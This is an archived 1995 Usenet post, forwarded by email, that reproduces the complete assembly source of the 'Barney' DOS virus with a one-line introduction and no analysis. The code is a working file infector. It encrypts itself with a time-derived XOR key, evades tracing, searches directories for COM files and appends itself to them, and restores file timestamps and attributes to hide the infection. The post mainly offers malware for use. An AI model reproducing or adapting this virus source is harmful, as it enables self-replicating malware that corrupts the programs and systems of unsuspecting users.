home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / BARNEY.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  9KB  |  324 lines
  1. From smtp Tue Feb  7 13:16 EST 1995
  2. Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue,  7 Feb 95 13:16 EST
  3. Received: by lynx.dac.neu.edu (8.6.9/8.6.9) 
  4.      id NAA08362 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:38 -0500
  5. Date: Tue, 7 Feb 1995 13:19:38 -0500
  6. From: lynx.dac.neu.edu!ekilby (Eric Kilby)
  7. Content-Length: 8878
  8. Content-Type: text
  9. Message-Id: <199502071819.NAA08362@lynx.dac.neu.edu>
  10. To: pobox.jwu.edu!joshuaw 
  11. Subject: (fwd) Barney virus
  12. Newsgroups: alt.comp.virus
  13. Status: O
  14.  
  15. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!newsxfer.itd.umich.edu!agate!howland.reston.ans.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
  16. From: danishm@iia.org ()
  17. Newsgroups: alt.comp.virus
  18. Subject: Barney virus
  19. Date: 5 Feb 1995 22:06:47 GMT
  20. Organization: International Internet Association.
  21. Lines: 291
  22. Message-ID: <3h3i5n$v4@ankh.iia.org>
  23. NNTP-Posting-Host: iia.org
  24. X-Newsreader: TIN [version 1.2 PL2]
  25.  
  26. Here is the Barney virus:
  27.  
  28.  
  29. ; Barney virus
  30. PING            equ     0F92Fh
  31. INFECT          equ     1
  32.  
  33. code            segment
  34.                 org     100h
  35.                 assume  cs:code,ds:code
  36.  
  37. start:
  38.                 db      0E9h,3,0          ; to virus
  39. host:
  40.                 db      0CDh,20h,0        ; host program
  41. virus_begin:
  42.  
  43.                 mov     dx,VIRUS_SIZE / 2 + 1
  44.                 db      0BBh                    ; decryption module
  45. code_offset     dw      offset virus_code
  46.  
  47. decrypt:
  48.                 db      02Eh,081h,37h           ; XOR CS:[BX]
  49. cipher          dw      0
  50.                 inc     bx
  51.                 inc     bx
  52.                 dec     dx
  53.                 jnz     decrypt
  54.  
  55.  
  56. virus_code:
  57.                 call    $ + 3             ; BP is instruction ptr.
  58.                 pop     bp
  59.                 sub     bp,offset $ - 1
  60.  
  61.                 push    ds es
  62.  
  63.                 cli
  64.                 mov     ax,PING           ; mild anti-trace code
  65.                 push    ax
  66.                 pop     ax
  67.                 dec     sp
  68.                 dec     sp
  69.                 pop     bx
  70.                 cmp     ax,bx
  71.                 je      no_trace
  72.                 hlt
  73.  
  74. no_trace:
  75.                 sti
  76.                 in      al,21h            ; lock out & reopen keyboard
  77.                 xor     al,2
  78.                 out     21h,al
  79.                 xor     al,2
  80.                 out     21h,al
  81.  
  82.                 lea     dx,[bp + offset new_DTA]
  83.                 mov     ah,1Ah
  84.                 int     21h
  85.  
  86.                 mov     byte ptr [bp + infections],0
  87.  
  88.                 call    traverse
  89.  
  90.                 pop     es ds
  91.                 mov     dx,80h
  92.                 mov     ah,1Ah
  93.                 int     21h
  94.  
  95. com_exit:
  96.                 lea     si,[bp + host]          ; restore host program
  97.                 mov     di,100h
  98.                 push    di
  99.                 movsw
  100.                 movsb
  101.  
  102.                 call    fix_regs                ; fix up registers
  103.                 ret                             ; and leave
  104.  
  105. fix_regs:
  106.                 xor     ax,ax
  107.                 cwd
  108.                 xor     bx,bx
  109.                 mov     si,100h
  110.                 xor     di,di
  111.                 xor     bp,bp
  112.                 ret
  113.  
  114.  
  115. traverse:
  116.                 sub     sp,64                   ; allocate stack space
  117.                 mov     si,sp
  118.                 inc     si
  119.                 mov     ah,47h                  ; get current directory
  120.                 xor     dl,dl
  121.                 int     21h
  122.  
  123.                 dec     si
  124.                 mov     byte ptr ss:[si],'\' ; fix directory
  125.  
  126. next_dir:
  127.                 call    infect_dir
  128.  
  129.                 cmp     byte ptr [bp + infections],INFECT
  130.                 je      traverse_done
  131.  
  132.                 lea     dx,[bp + outer]         ; repeat in next dir up
  133.                 mov     ah,3Bh
  134.                 int     21h
  135.                 jnc     next_dir
  136.  
  137. traverse_done:
  138.                 add     sp,64                   ; reset
  139.                 mov     dx,si
  140.                 mov     ah,3Bh
  141.                 int     21h
  142.                 ret
  143.  
  144. infect_dir:
  145.                 mov     ah,4Eh
  146.                 lea     dx,[bp + find_me]
  147.                 int     21h
  148.                 jc      infect_done
  149.  
  150. next_file:
  151.                 lea     dx,[bp + new_DTA + 1Eh]
  152.                 call    execute
  153.                 cmp     byte ptr [bp + infections],INFECT
  154.                 je      infect_done
  155.                 mov     ah,4Fh
  156.                 int     21h
  157.                 jnc     next_file
  158.  
  159. infect_done:
  160.                 ret
  161. execute:
  162.                 push    si
  163.  
  164.                 xor     ax,ax                   ; critical error handler
  165.                 mov     es,ax                   ; routine - catch int 24
  166.                 lea     ax,[bp + int_24]
  167.                 mov     es:[24h * 4],ax
  168.                 mov     es:[24h * 4 + 2],cs
  169.  
  170.                 mov     ax,4300h                ; change attributes
  171.                 int     21h
  172.  
  173.                 push    cx dx ds
  174.                 xor     cx,cx
  175.                 call    set_attributes
  176.  
  177.                 mov     ax,3D02h                ; open file
  178.                 int     21h
  179.                 jc      cant_open
  180.                 xchg    bx,ax
  181.  
  182.                 mov     ax,5700h                ; save file date/time
  183.                 int     21h
  184.                 push    cx dx
  185.                 mov     ah,3Fh
  186.                 mov     cx,28
  187.                 lea     dx,[bp + read_buffer]
  188.                 int     21h
  189.  
  190.                 cmp     word ptr [bp + read_buffer],'ZM'
  191.                 je      dont_infect             ; .EXE, skip
  192.  
  193.                 mov     al,2                    ; move to end of file
  194.                 call    move_file_ptr
  195.  
  196.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  197.                 ja      dont_infect             ; too big, don't infect
  198.  
  199.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  200.                 cmp     dx,word ptr [bp + read_buffer + 1]
  201.                 je      dont_infect
  202.  
  203.                 add     dx,VIRUS_SIZE + 3
  204.                 mov     word ptr [bp + new_jump + 1],dx
  205.  
  206.                 add     dx,103h
  207.                 call    encrypt_code            ; encrypt virus
  208.  
  209.                 lea     dx,[bp + read_buffer]   ; save original program head
  210.                 int     21h
  211.                 mov     ah,40h                  ; write virus to file
  212.                 mov     cx,VIRUS_SIZE
  213.                 lea     dx,[bp + encrypt_buffer]
  214.                 int     21h
  215.  
  216.                 xor     al,al                   ; back to beginning of file
  217.                 call    move_file_ptr
  218.  
  219.                 lea     dx,[bp + new_jump]
  220.                 int     21h
  221.  
  222. fix_date_time:
  223.                 pop     dx cx
  224.                 mov     ax,5701h                ; restore file date/time
  225.                 int     21h
  226.  
  227.                 inc     byte ptr [bp + infections]
  228.  
  229. close:
  230.                 pop     ds dx cx                ; restore attributes
  231.                 call    set_attributes
  232.  
  233.                 mov     ah,3Eh                  ; close file
  234.                 int     21h
  235.  
  236. cant_open:
  237.                 pop     si
  238.                 ret
  239.  
  240.  
  241. set_attributes:
  242.                 mov     ax,4301h
  243.                 int     21h
  244.                 ret
  245.  
  246. dont_infect:
  247.                 pop     cx dx                   ; can't infect, skip
  248.                 jmp     close
  249.  
  250. move_file_ptr:
  251.                 mov     ah,42h                  ; move file pointer
  252.                 cwd
  253.                 xor     cx,cx
  254.                 int     21h
  255.  
  256.                 mov     dx,ax                   ; set up registers
  257.                 mov     ah,40h
  258.                 mov     cx,3
  259.                 ret
  260.  
  261. courtesy_of     db      '[BW]',0
  262. signature       db      'BARNEY (c) by HypoDermic!! Part of the Mayberry Family!!!',0
  263.  
  264.  
  265. encrypt_code:
  266.                 push    ax cx
  267.  
  268.                 push    dx
  269.                 xor     ah,ah                   ; get time for random number
  270.                 int     1Ah
  271.  
  272.                 mov    [bp + cipher],dx
  273.                 pop     cx
  274.                 add     cx,virus_code - virus_begin
  275.                 mov     [bp + code_offset],cx
  276.                 push    cs                      ; ES = CS
  277.                 pop     es
  278.  
  279.                 lea     si,[bp + virus_begin]
  280.                 lea     di,[bp + offset encrypt_buffer]
  281.                 mov     cx,virus_code - virus_begin
  282.                 rep     movsb
  283.  
  284.                 mov     cx,VIRUS_SIZE / 2 + 1
  285. encrypt:
  286.                 lodsw                           ; encrypt virus code
  287.                 xor     ax,dx
  288.                 stosw
  289.                 loop    encrypt
  290.  
  291.                 pop     cx ax
  292.                 ret
  293.  
  294.  
  295. find_me         db      '*.COM',0
  296. outer           db      '..',0
  297.  
  298. int_24:
  299.                 mov     al,3                    ; int 24 handler
  300.                 iret
  301. new_jump        db      0E9h,0,0
  302.  
  303. infections      db      0
  304. virus_end:
  305. VIRUS_SIZE      equ     virus_end - virus_begin
  306. read_buffer     db      28 dup (?)              ; read buffer
  307. new_DTA         db      128 dup(?)
  308. encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
  309.  
  310. end_heap:
  311.  
  312. MEM_SIZE        equ     end_heap - start
  313.  
  314. code            ends
  315.                 end     start
  316.  
  317.  
  318. --
  319. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  320. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  321. Student at the Northeatstern University College of Computer Science 
  322. "I Can't Believe It's Not Butter"
  323.  
  324.